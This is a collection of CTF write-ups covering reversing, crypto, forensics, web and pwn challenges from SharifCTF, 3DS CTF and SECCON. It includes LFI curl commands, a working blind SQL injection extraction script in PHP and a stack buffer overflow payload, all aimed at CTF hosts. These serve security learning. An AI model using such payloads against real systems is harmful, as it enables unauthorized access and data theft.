rdi,rax---Type <return> to continue, or q <return> to quit--- 0x00000000004008bc <+358>: call 0x4005d0 <fclose@plt> 0x00000000004008c1 <+363>: lea rax,[rbp-0x30] 0x00000000004008c5 <+367>: mov rdi,rax 0x00000000004008c8 <+370>: call 0x4005c0 <remove@plt> 0x00000000004008cd <+375>: mov eax,0x0 0x00000000004008d2 <+380>: mov rbx,QWORD PTR [rbp-0x18] 0x00000000004008d6 <+384>: xor rbx,QWORD PTR fs:0x28 0x00000000004008df <+393>: je 0x4008e6 <main+400> 0x00000000004008e1 <+395>: call 0x4005f0 <__stack_chk_fail@plt> 0x00000000004008e6 <+400>: add rsp,0x38 0x00000000004008ea <+404>: pop rbx 0x00000000004008eb <+405>: pop rbp 0x00000000004008ec <+406>: retEnd of assembler dump.(gdb)```
Here we need to create a break point in, right before the remove call, so we can take a look at the output file.```0x00000000004008bc <+358>: call 0x4005d0 <fclose@plt>```
Let's create the break point and run```(gdb) break *0x00000000004008bcBreakpoint 1 at 0x4008bc(gdb) runStarting program: /tmp/getit
Breakpoint 1, 0x00000000004008bc in main ()(gdb)```
Now we can check the output of the flag.txt into the tmp directory```bash cat /tmp/flag.txt*********{*********************************```
Back in the output of ltrace we have a strlen call right after the fprintf```bashfopen("/tmp/flag.txt", "w") = 0x8f8010fprintf(0x8f8010, "%s\n", "********************************"...) = 44strlen("SharifCTF{b70c59275fcfa8aebf2d59"...) = 43```
So the output file does not have the correct flag value, so let's back to the gdb. Quit the current session and let's open another.```bashgdb -q(gdb) file getitReading symbols from getit...(no debugging symbols found)...done.(gdb) set disassembly-flavor intel(gdb) disassemble main[...] 0x00000000004007ee <+152>: call 0x400650 <fopen@plt> 0x00000000004007f3 <+157>: mov QWORD PTR [rbp-0x38],rax 0x00000000004007f7 <+161>: mov rax,QWORD PTR [rbp-0x38] 0x00000000004007fb <+165>: mov edx,0x601120---Type <return> to continue, or q <return> to quit--- 0x0000000000400800 <+170>: mov esi,0x400976 0x0000000000400805 <+175>: mov rdi,rax 0x0000000000400808 <+178>: mov eax,0x0 0x000000000040080d <+183>: call 0x400620 <fprintf@plt> 0x0000000000400812 <+188>: mov DWORD PTR [rbp-0x3c],0x0 0x0000000000400819 <+195>: mov eax,DWORD PTR [rbp-0x3c] 0x000000000040081c <+198>: movsxd rbx,eax 0x000000000040081f <+201>: mov edi,0x6010e0 0x0000000000400824 <+206>: call 0x4005e0 <strlen@plt>```
As we can see here we have the mov of edi right before the strlen call and we have the value of 0x6010e0 let's inspect this guy, let's create a break point in the strlen call and check the value of the 0x6010e0```bash(gdb) break *0x0000000000400824Breakpoint 1 at 0x400824(gdb) runStarting program: /tmp/getit
Breakpoint 1, 0x0000000000400824 in main ()```
Now let's check the value of 0x6010e0```bash(gdb) x/s 0x6010e00x6010e0 <t>: "SharifCTF{b70c59275fcfa8aebf2d5911223c6589}"```
The flag is: SharifCTF{b70c59275fcfa8aebf2d5911223c6589} |
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# Lost Voice (misc 100)
###ENG[PL](#pl-version)
We get [mp3](LS.mp3) file to work with.From the sound we can recover the numbers `95cd605bea9065f44530` (which required some skill because `a` and `8` can sound similar and so did `e` and `d`).
Then someone noticed that there is actually some video here, which very fade numbers `cb13bbb59dde`
The flag was just concatenation: `SharifCTF{cb13bbb59dde95cd605bea9065f44530}`
###PL version
Dostajemy [mp3](LS.mp3) do analizy.Z dźwięków odzyskujemy liczbe `95cd605bea9065f44530` (co nie było takie proste bo `a` mogło być `8` a `e` mogło być `d`).
Następnie ktoś zauważył że jest tam też video, z ledwo dostrzegalnymi `cb13bbb59dde`.
Flaga wymagała sklejenia tych 2 elementów: `SharifCTF{cb13bbb59dde95cd605bea9065f44530}` |
# Best RSA (crypto 250)## Theorem and Lemma1. Euler's theorem:The theorem gives that a ^ phi(n) = 1 mod n Where phi is Euler's totient function and this function holds a property that phi(p*q) = phi(p) * phi(q) if p | q2. Chinese Remainder Theorema^d mod n can be calculated seperately on n's factors.https://en.wikipedia.org/wiki/Chinese_remainder_theorem
We've got a huge n but ends with 5. It's really uncommon because n should be the product of two large primes. As a result, I try to find out its prime factors under 65538 and fortunately n only has prime factors under 251. According to Euler's theorem, we can calculate private key "d" by finding the inverse of e under phi(n). After we get d, the only thing we need to do is to find out c^d mod n. Directly, it cannot be solved, but we can break n down to p<sub>1</sub><sup>k<sub>1</sub></sup>... by Chinese Remainder Theorem. Notice that d is very large, but under moduler of p<sub>m</sub><sup>k<sub>m</sub></sup> we can actually calculate c^(d mod phi(p<sub>m</sub><sup>k<sub>m</sub></sup>)) instead. It takes around three minutes to solve with simple implementation.
``` pythonimport sympyimport os
def inv(x, m): return sympy.invert(x, m)
def crt_speedup_decrypt(cipher_text, private_key, primes, count_of_primes, n): plain_text = 0
for p, count in zip(primes, count_of_primes): m = p ** count phi_m = (p ** (count - 1)) * (p - 1) c = cipher_text % m remainder = pow(c, private_key % phi_m, m) M = n // m M_inv = inv(M, m)
plain_text = (plain_text + remainder * M * M_inv) % n
return plain_text
def get_prime_under(n): primes = [2] for i in range(3, n): sqrt = i ** (0.5) for p in primes: if p <= sqrt: if i % p == 0: break else: primes.append(i) break return primes
def prime_factorize(n): primes = get_prime_under(65538) count = [0] * len(primes) for idx in range(len(primes)): while n % primes[idx] == 0 and n != 1: count[idx] += 1 n = n // primes[idx] return primes, count, n
def phi_function(primes, count_of_primes): phi = 1 for (p, c) in zip(primes, count_of_primes): phi = phi * ((p ** (c - 1)) * (p - 1)) return phi
def main(): with open('best_rsa.txt') as fp: data = [line.strip().split(' = ')[1] for line in fp]
e = int(data[0]) n = int(data[1]) cipher_text = int(data[2])
print('calculate prime factors') primes, count_of_primes, rest = prime_factorize(n) new_primes, new_count = [], [] # output prime factors print('prime factors') for p, c in zip(primes, count_of_primes): if c > 0: print(p, ':', c) new_primes.append(p) new_count.append(c) print('rest: ', rest) primes, count_of_primes = new_primes, new_count print('calculate private key') phi_n = phi_function(primes, count_of_primes) private_key = int(inv(e, phi_n)) print('decrypt plain text') plain_text = crt_speedup_decrypt(cipher_text, private_key, primes, count_of_primes, n)
with open('flag', 'w') as fp: fp.write(hex(plain_text)[2:]) os.system('xxd -r -ps flag > flag.gif')if __name__ == '__main__': main()``` |
# BlueScreen
## Description[PT-BR]Esse software de gerar relatorio bacana quando funcionava.Nao acho mais os arquivos! Agora nao sei se ele nao baixa.Mestre resolva isso e como recompensa deixei a flag no relatorio.
[EN]This report generator software was good until stop works. I can't find my files. Now I don't know why the downloads doesn't works. Solve the challenge and as a reward there is a flag into the report.
## Solution
The challenge redirected us to a website asking to install a component, required to load the application. Our goal was to find the report and get the flag.
As we can see, in this challenge we had some .NET application to play with! :D
After installing the component, we can see a simple app with just one button labeled "Iniciar", but when you clicked the button, an exception was showed to us on the screen.
With the application up and running, we can use some .NET decompiler to check inside the "source code" and see if we get something interesting. My favorite decompiler is DnSpy, you can check it in the end of the writeup.
Let's take a look.
In this simple procedure, we found some this piece of code:
```bashwebClient.DownloadFile("http://162.243.187.35:8080/relatorio.png", "!c:/relatorio.xlsx");webClient.DownloadFile("http://162.243.187.35:8080/relatorio.xlsx", "!c:/relatorio.png");```
The PNG image is just a distraction *(we saw a lot of fake flags on this CTF, and it was fun!)*.
The xlsx file had three worksheets, and in the third one, there was the flag!
Flag: 3DS{Windows_0/Windows_DotNet} |
from PIL import Imageimport sys
# Team RTFM - Red Team Freakin' Maniacs - rtfm-ctf.org# Writeup - We also have memes!- 3DS-CTF
#playing another CTFs, our team discovered an awesome algorithm to hid messages in a PNG file.#One member of the team told that is possible to improve the algorithm to make it impossible to retrieve the original message directly. So he hiden a message on this meme and gave to us to solve.#Prove the he's wrong!
def offset(x,y): of=[] for i in range(1,4575): try: r, g, b = img.getpixel((x+i,y+i)) except IndexError: break if "3" in chr(r): of.append(i) if "3" in chr(g): of.append(i) if "3" in chr(b): of.append(i) return of def result(p,lf,of,x,y,flag): if p == 0: for offse in of: for i in range(lf): r, g, b = img.getpixel((x+offse,y+offse)) flag+=chr(r) x=g y=b return flag if p == 1: for offse in of: for i in range(lf): r, b, g = img.getpixel((x+offse,y+offse)) flag+=chr(r) x=g y=b return flag if p == 2: for offse in of: for i in range(lf): g, r, b = img.getpixel((x+offse,y+offse)) flag+=chr(r) x=g y=b return flag if p == 3: for offse in of: for i in range(lf): g, b, r = img.getpixel((x+offse,y+offse)) flag+=chr(r) x=g y=b return flag if p == 4: for offse in of: for i in range(lf): b, r, g = img.getpixel((x+offse,y+offse)) flag+=chr(r) x=g y=b return flag if p == 5: for offse in of: for i in range(lf): b, g, r = img.getpixel((x+offse,y+offse)) flag+=chr(r) x=g y=b return flag p=[0,1,2,4,4,5,6]
def flag(img): width, height = img.size lf, x, y = img.getpixel((0,0)) of=offset(x,y) print "LF:",lf,"X:",x,"Y:",y,"Offset:",of for i in p: flag="" try: print result(i,lf,of,x,y,flag)[:lf] print "-"*lf except TypeError: pass
img = Image.open(sys.argv[1])print(img, img.mode) # testflag(img) |
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<div id="readme" class="Box MD js-code-block-container js-code-nav-container js-tagsearch-file Box--responsive" data-tagsearch-path="2016/3ds/HALP/README.MD" data-tagsearch-lang="Markdown">
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<h2 class="Box-title"> README.MD </h2> </div> </div>
<div data-target="readme-toc.content" class="Box-body px-5 pb-5"> <article class="markdown-body entry-content container-lg" itemprop="text"><h1 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>HALP</h1><h2 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Description</h2>[EN]We need your hackers skills to retrieve a code that was send in the attached file. Please, help us!Flag format: 3DS{}[PT-BR]Nós precisamos das suas habilidades para resgatar o código transmitido no arquivo em anexo. Por favor nos ajude.Flag no formato: 3DS{}<h2 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Solution</h2>The file given by the challenge is a network capture. By analyzing its structure, we can see the SIP / SPD / RTP protocols that are used in VoIP calls.Assuming capture is a VoIP call, let's check if we can get something interesting inside it.Using Wireshark, following the Telephony menu - VoIP calls, we can see a call and listen to the content.The voice from the call asks for a card number and after that we can hear a series of signals. The signals are DTMF tones <em>(Dual-Tone Multi-Frequency)</em> used in modern telefones.With that information, all we have to do is "decode" the DTMF song.I used this website to do the hard work! :DFlag: 3DS{4952061545946271}</article> </div> </div>
[EN]We need your hackers skills to retrieve a code that was send in the attached file. Please, help us!Flag format: 3DS{}
[PT-BR]Nós precisamos das suas habilidades para resgatar o código transmitido no arquivo em anexo. Por favor nos ajude.Flag no formato: 3DS{}
The file given by the challenge is a network capture. By analyzing its structure, we can see the SIP / SPD / RTP protocols that are used in VoIP calls.
Assuming capture is a VoIP call, let's check if we can get something interesting inside it.Using Wireshark, following the Telephony menu - VoIP calls, we can see a call and listen to the content.
The voice from the call asks for a card number and after that we can hear a series of signals. The signals are DTMF tones <em>(Dual-Tone Multi-Frequency)</em> used in modern telefones.With that information, all we have to do is "decode" the DTMF song.
I used this website to do the hard work! :D
Flag: 3DS{4952061545946271}
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# Irish Home (web 200)
The admin.php page was discovered by a tiny fuzz. admin.php was prone to `Execution after redirect` vulnerability. The admin.php page reaveled show.php which had a parameter named `page`. The show.php had `Local File Inclusion` vulnerability. Source reading:
```# curl http://ctf.sharif.edu:8082/pages/show.php?page=php://filter/convert.base64-encode/resource=../login# curl http://ctf.sharif.edu:8082/pages/show.php?page=php://filter/convert.base64-encode/resource=../delete# curl http://ctf.sharif.edu:8082/pages/show.php?page=php://filter/convert.base64-encode/resource=../deleted_3d5d9c1910e7c7/flag```
delete.php```
<div style="text-align: center;"><h3 style="color: red;">Site is under maintenance 'til de end av dis f$#!*^% SharifCTF.</h3><h4>Al' destructive acshuns are disabled!</h4></div>
```Login.php```connect_error) { die("Connection failed: " . $conn->connect_error); }
$sql = "SELECT * FROM users where username=\"$username\" and BINARY password=\"$password\"";
$result = $conn->query($sql);
if (!$result) trigger_error('Invalid query: ' . $conn->error);
if ($result->num_rows > 0) { if(strpos($username, '"') !== false) $text = "SQL injection detected"; else { $_SESSION['logged_in'] = $username; header('Location: /admin.php'); } } $conn->close(); } } echo "$text";}?>
<form action="/login.php" method="POST"> <div class="mdl-textfield mdl-js-textfield"> <input class="mdl-textfield__input" type="text" id="username" name="username"> <label class="mdl-textfield__label" for="username">Username</label> </div> <div class="mdl-textfield mdl-js-textfield"> <input class="mdl-textfield__input" type="password" id="password" name="password"> <label class="mdl-textfield__label" for="password">Password</label> </div> <div style="text-align: center;" class="mdl-textfield mdl-js-textfield"> <button class="btn waves-effect waves-light" type="submit">Submit</button> </div> </form>
$headers, 'body'=>$body);}
function getSpecificHeader($headers, $name){ preg_match("#$name: *(.*)$#", $headers, $matches);
return $matches[1];}
function trueOrFalse($response){
$trueValue = 'detected'; $falseValue = 'seem to';
if(strstr($response, $trueValue)!==false) return true; if(strstr($response, $falseValue)!==false) return false;
return 'unknown';
}
function getChar($pos, $lb=0, $ub=128) { $i = 0; while(++$i) { $M = floor($lb + ($ub-$lb)/2); if(injection('<', $pos, $M)==1) { $ub = $M - 1; } else if(injection('>', $pos, $M)==1) { $lb = $M + 1; } else return chr($M); if($lb > $ub) return -1; }}
function injection($condition, $position, $char){ $baseURL = 'http://ctf.sharif.edu:8082/login.php';
//echo "Pos: $position, tryin char $condition $char\n"; //password=admin&username=-1" or (select char_length(password) from users limit 0,1)>31 -- true //password=admin&username=-1" or (select char_length(password) from users limit 0,1)>32 -- false // length = 32
$data = 'password=test&username=-1" or ascii(substring((select password from users limit 0,1),' . $position . ',1)) ' . $condition . $char . ' -- ';
$response = customCurl($baseURL, $data, null, null, true); return trueOrFalse($response['body']);}
$time_start = microtime(true); $str = '';$i = 1;gPrint('So far: ', 0);while(true){ $char = getChar($i); if(ord($char)=='0') break; $str .= $char; echo $char; $i++;}$time_end = microtime(true);
//dividing with 60 will give the execution time in minutes other wise seconds$execution_time = ($time_end - $time_start)/60;
//execution time of the scriptecho "\n";gPrint('Task has been finished.');gPrint('Total Execution Time: '.(int)$execution_time.' Minute(s)');
?>
```Password gathered: Password: **2a7da9c@088ba43a_9c1b4Xbyd231eb9** and the flag was generated by password easily.
https://twitter.com/yshahinzadeh |
メモリダンプがおかれており、 volatility というツールがヒントに書かれている。偽の svchost がアクセスしているウェブサイトを調べてほしい、そのサイトに行けばフラグが手に入る、というもの。また、ヒントには「hosts」とも書いてあった。volatility の使い方を軽く確認したあと、ウェブサイトを見ていると書いてあるのでまずは通信内容を確認した。 $ volatility_2.5_linux_x86 -f ./forensic_100.dat --profile=WinXPSP2x86 connectionsVolatility Foundation Volatility Framework 2.5Offset(V) Local Address Remote Address Pid---------- ------------------------- ------------------------- ---0x8213bbe8 192.168.88.131:1034 153.127.200.178:80 1080IP アドレスはわかったが、繋ぎに行っても nginx の初期インストール画面のようなものが表示されたので、「hosts」というヒントを元に C:\Windows\System32\drivers\etc\hosts を探すことに。filescan や dumpfiles を試みたがなかなか手に入らないので、最終的にはstrings して「153.127.200.178」で grep した。 $ strings forensic_100.dat | grep 153.127.200.178153.127.200.178 crattack.tistory.com attack.tistory.com 153.127.200.178 crattack.tistory.com 153.127.200.178:80ホスト名は候補が二つに絞られたが、 /etc/hosts を手元に書いてこのホスト名・IPアドレスの組み合わせにつないでもまだフラグはない。いろいろ見ているうちに、 HTTP をしゃべっている内容のようなものが見えていたので、このやり取りもまだメモリに残っているのでは、ということで “GET /” を探した。 $ strings forensic_100.dat | grep 'GET /' GET /image/237C0C3E576BA0AD06F720 HTTP/1.1GET /entry/Data-Science-import-pandas-as-pd HTTP/1.1GET /entry/Data-Science-import-pandas-as-pd HTTP/1.1GET /entry/Data-Science-import-pandas-as-pd HTTP/1.1GET /entry/Data-Science-import-pandas-as-pd HTTP/1.1ようやく URL がわかったので、 アクセスするとフラグ。 $ curl http://attack.tistory.com/entry/Data-Science-import-pandas-as-pdSECCON{_h3110_w3_h4ve_fun_w4rg4m3_} |
#Hot Sun?
~~~~[EN] Surfing in the Shallowweb, we have discovered a new algorithm that promises to be the newest substituition cipher. The algorithm to encrypt works as following: the user informs the text to be encrypted and a number N. Initially, the algorithm shift all letters one position to the right (e.g. 'A' tuns into 'B'). With this result, in the next step, the algorithm now shift the text two positions to the right. And with the text from the previous output, it repeats the shift procedure until N. Your task is quite simple: given an encrypted flag and an N number, discover the flag. Encrypted flag: 3RG{hv1g_f0h_1g_b0h_g0_V0h} N: 11
[PT-BR]Pesquisando na shallowweb, descobrimos um novo algoritmo que promete ser a mais nova cifra de substituicao. O algoritmo para cifrar funciona da seguinte forma: o usuraio informa o texto a ser cifrado e um numero N. O algoritmo, inicialmente, desloca todas as letras em uma posicao a direita ('A', por exemplo, vira 'B). Com o texto da saida, no passo seguinte, o algoritmo desloca esse novo texto duas posicoes a direita. E com o texto da saida anterior, ele repete o procedimento de deslocamentos ate o numero N. Sua tarefa bem simples: dado a flag cifrada e um numero N, descubra a flag. Flag cifrada: 3RG{hv1g_f0h_1g_b0h_g0_V0h} N: 11~~~~
This is a very simple chall about ROTs. There are 2 approaches here: whether you try to really understand what is going on, ROT by ROT, or you just solve it.
We assumed a pretty obvious principle: the composition of ROTs is just another ROT. This means if you rotate *x* times to the right, then *y* to the left, then right again and so on, all this is equivlent to a single *ROT Z*. A nice example of an isomorphism.
Since the beginning of the flag must be *3DS*, we know that *R* goes to *D*. This means that we are rotating everything *ord ('R') - ord('D') == 14*. A simple ROT14 then. The flag should be 3DS{th1s_r0t_1s_n0t_s0_H0t}. |
# Rot13 (crypto 100)
###ENG[PL](#pl-version)
We get `3RG{hv1g_f0h_1g_b0h_g0_V0h}` as ciphertext and N=11.It looks like some substitution cipher working only on letters, so we assume a caesar.So after running caesar solver on this we get the flag `3DS{th1s_r0t_1s_n0t_s0_H0t}` for shift 11.
###PL version
Dostajemy ciphertext `3RG{hv1g_f0h_1g_b0h_g0_V0h}` i N=11.Wygląda to jak szyfr podstawieniowy działający tylko dla liter, więc założyliśmy cezara.Więc po uruchomieniu solvera dla cezara dostajemy flagę `3DS{th1s_r0t_1s_n0t_s0_H0t}` dla shiftu 11. |
# Get started (pwn 100)
###ENG[PL](#pl-version)
In the task we get an ELF [binary](get_started) to work with.Ret-dec results are:
```cint main(int argc, char ** argv) { printf("Qual a palavrinha magica? "); int32_t str; gets((char *)&str); return 0;}```
So not much code is executed, but we can see that there is a blatant stack buffer overflow.The task description hints that we don't need to get a shell here, everything is in the binary.So we look at the disassembly and in fact there is:
```asm; function: get_flag at 0x80489a0 -- 0x8048a1f0x80489a0: 56 push esi0x80489a1: 83 ec 08 sub esp, 0x80x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75>0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d10x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75>0x80489b8: c7 44 24 04 68 dd 0c 08 mov dword [ esp + 0x4 ], 0x80cdd68 ; "rt"0x80489c0: c7 04 24 88 c3 0b 08 mov dword [ esp ], 0x80bc388 ; "flag.txt"0x80489c7: e8 44 6c 00 00 call 0x804f610 <fopen>0x80489cc: 89 c6 mov esi, eax0x80489ce: 89 34 24 mov dword [ esp ], esi0x80489d1: e8 8a 87 00 00 call 0x8051160 <fgetc>0x80489d6: 0f b6 c8 movzx ecx, al0x80489d9: 81 f9 ff 00 00 00 cmp ecx, 0xff0x80489df: 74 2c jz 0x8048a0d <get_flag+0x6d>0x80489e1: 0f be c8 movsx ecx, al0x80489e4: 66 0x80489e5: 66 0x80489e6: 66 0x80489e7: 2e 0x80489e8: 0f 1f 84 00 00 00 00 00 nop dword [ eax + eax * 0x0 + 0x0 ]0x80489f0: 89 0c 24 mov dword [ esp ], ecx0x80489f3: e8 a8 6d 00 00 call 0x804f7a0 <putchar>0x80489f8: 89 34 24 mov dword [ esp ], esi0x80489fb: e8 60 87 00 00 call 0x8051160 <fgetc>0x8048a00: 0f be c8 movsx ecx, al0x8048a03: 0f b6 c0 movzx eax, al0x8048a06: 3d ff 00 00 00 cmp eax, 0xff0x8048a0b: 75 e3 jnz 0x80489f0 <get_flag+0x50>0x8048a0d: 89 34 24 mov dword [ esp ], esi0x8048a10: e8 bb 67 00 00 call 0x804f1d0 <fclose>0x8048a15: 83 c4 08 add esp, 0x80x8048a18: 5e pop esi0x8048a19: c3 ret0x8048a1a: 66 0x8048a1b: 0f 1f 44 00 00 nop dword [ eax + eax * 0x0 + 0x0 ]```
So we actually already have there a function which will read and print a flag if called.`Checksec` tells us there are no canaries, so we should be able to use buffer overflow in order to overwrite return address from `main()` and jump to `get_flag` function.
Looking at `main` in assembly shows:
```asm; function: main at 0x8048a20 -- 0x8048a4f0x8048a20: 83 ec 3c sub esp, 0x3c0x8048a23: c7 04 24 91 c3 0b 08 mov dword [ esp ], 0x80bc391 ; "Qual a palavrinha magica? "0x8048a2a: e8 b1 66 00 00 call 0x804f0e0 <printf>0x8048a2f: 8d 44 24 04 lea eax, dword [ esp + 0x4 ]0x8048a33: 89 04 24 mov dword [ esp ], eax0x8048a36: e8 f5 6b 00 00 call 0x804f630 <function_804f630>0x8048a3b: 31 c0 xor eax, eax0x8048a3d: 83 c4 3c add esp, 0x3c0x8048a40: c3 ret```
So we can see that stack frame was created with `sub esp, 0x3c` and therefore there are 60 bytes of stack allocated.4 bytes go for the return address, so we need to overflow 56 bytes in order to get to the return pointer.
We want to change the pointer for address `0x80489a0` which is the start of `get_flag` function.So the necessary payload is:
`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)`
Keep in mind the reversed byte order for the addresses!But this is not enough yet.In the `get_flag` code there is:
```asm0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75>0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d10x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75>```
Suffice to say that if we take any of those 2 jumps the application will not read the flag for us.So we have to make sure that those stack variables carry those specified values.
With the debugger we can quickly calculate that first of those values at `esp + 0x10` is just 4 bytes above the return pointer we just substituted, so we need to extend our payload to:
`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)`
to skip the first check.The next one is at `esp + 0x14` so simply the next 4 bytes, and therefore the final payload requires:
`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)+""+chr(0xd1)+chr(0x19)+chr(0x57)+chr(0x19)`
Using the payload we get the flag: `3DS{b0f_pr4_c0m3c4r_n3}`
###PL version
W zadaniu dostajemy ELFową [binarke](get_started).Wyniki ret-dec:
```cint main(int argc, char ** argv) { printf("Qual a palavrinha magica? "); int32_t str; gets((char *)&str); return 0;}```
Niewiele wykonywanego kodu, ale widzimy że jest tam ewidentny stack buffer overflow.Zadanie hintuje, że nie trzeba tu zdobywać shella bo wszystko jest już w binarce.Więc zaglądamy do deasemblera a tam faktycznie:
```asm; function: get_flag at 0x80489a0 -- 0x8048a1f0x80489a0: 56 push esi0x80489a1: 83 ec 08 sub esp, 0x80x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75>0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d10x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75>0x80489b8: c7 44 24 04 68 dd 0c 08 mov dword [ esp + 0x4 ], 0x80cdd68 ; "rt"0x80489c0: c7 04 24 88 c3 0b 08 mov dword [ esp ], 0x80bc388 ; "flag.txt"0x80489c7: e8 44 6c 00 00 call 0x804f610 <fopen>0x80489cc: 89 c6 mov esi, eax0x80489ce: 89 34 24 mov dword [ esp ], esi0x80489d1: e8 8a 87 00 00 call 0x8051160 <fgetc>0x80489d6: 0f b6 c8 movzx ecx, al0x80489d9: 81 f9 ff 00 00 00 cmp ecx, 0xff0x80489df: 74 2c jz 0x8048a0d <get_flag+0x6d>0x80489e1: 0f be c8 movsx ecx, al0x80489e4: 66 0x80489e5: 66 0x80489e6: 66 0x80489e7: 2e 0x80489e8: 0f 1f 84 00 00 00 00 00 nop dword [ eax + eax * 0x0 + 0x0 ]0x80489f0: 89 0c 24 mov dword [ esp ], ecx0x80489f3: e8 a8 6d 00 00 call 0x804f7a0 <putchar>0x80489f8: 89 34 24 mov dword [ esp ], esi0x80489fb: e8 60 87 00 00 call 0x8051160 <fgetc>0x8048a00: 0f be c8 movsx ecx, al0x8048a03: 0f b6 c0 movzx eax, al0x8048a06: 3d ff 00 00 00 cmp eax, 0xff0x8048a0b: 75 e3 jnz 0x80489f0 <get_flag+0x50>0x8048a0d: 89 34 24 mov dword [ esp ], esi0x8048a10: e8 bb 67 00 00 call 0x804f1d0 <fclose>0x8048a15: 83 c4 08 add esp, 0x80x8048a18: 5e pop esi0x8048a19: c3 ret0x8048a1a: 66 0x8048a1b: 0f 1f 44 00 00 nop dword [ eax + eax * 0x0 + 0x0 ]```
Więc faktycznie jest tu funkcja czytająca i wypisująca flagę.`Checksec` mówi że nie ma na stosie kanarków, więc możemy bez problemów przepełnić bufor na stosie aby nadpisać adres powrotu z funkcji `main()` i skoczyć do funkcji `get_flag`.
Jeśli popatrzymy na disasm funkcji main, zobaczymy:
```asm; function: main at 0x8048a20 -- 0x8048a4f0x8048a20: 83 ec 3c sub esp, 0x3c0x8048a23: c7 04 24 91 c3 0b 08 mov dword [ esp ], 0x80bc391 ; "Qual a palavrinha magica? "0x8048a2a: e8 b1 66 00 00 call 0x804f0e0 <printf>0x8048a2f: 8d 44 24 04 lea eax, dword [ esp + 0x4 ]0x8048a33: 89 04 24 mov dword [ esp ], eax0x8048a36: e8 f5 6b 00 00 call 0x804f630 <function_804f630>0x8048a3b: 31 c0 xor eax, eax0x8048a3d: 83 c4 3c add esp, 0x3c0x8048a40: c3 ret```
Więc widać że ramka stosu została utworzona przez `sub esp, 0x3c` a więc zaalokowano 60 bajtów na stosie.4 potrzebne są na adres powrotu, więc musimy przepełnić bufor o 56 bajtów żeby dokopać się do adresu powrotu.
Chcemy zmienić ten adres na `0x80489a0`, czyli na początek funkcji `get_flag`.To oznacza że potrzebny payload to:
`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)`
Pamiętajmy o odwrotnej kolejności bajtów w adresach!Ale to jeszcze nie wszystko.W kodzie `get_flag` mamy:
```asm0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75>0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d10x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75>```
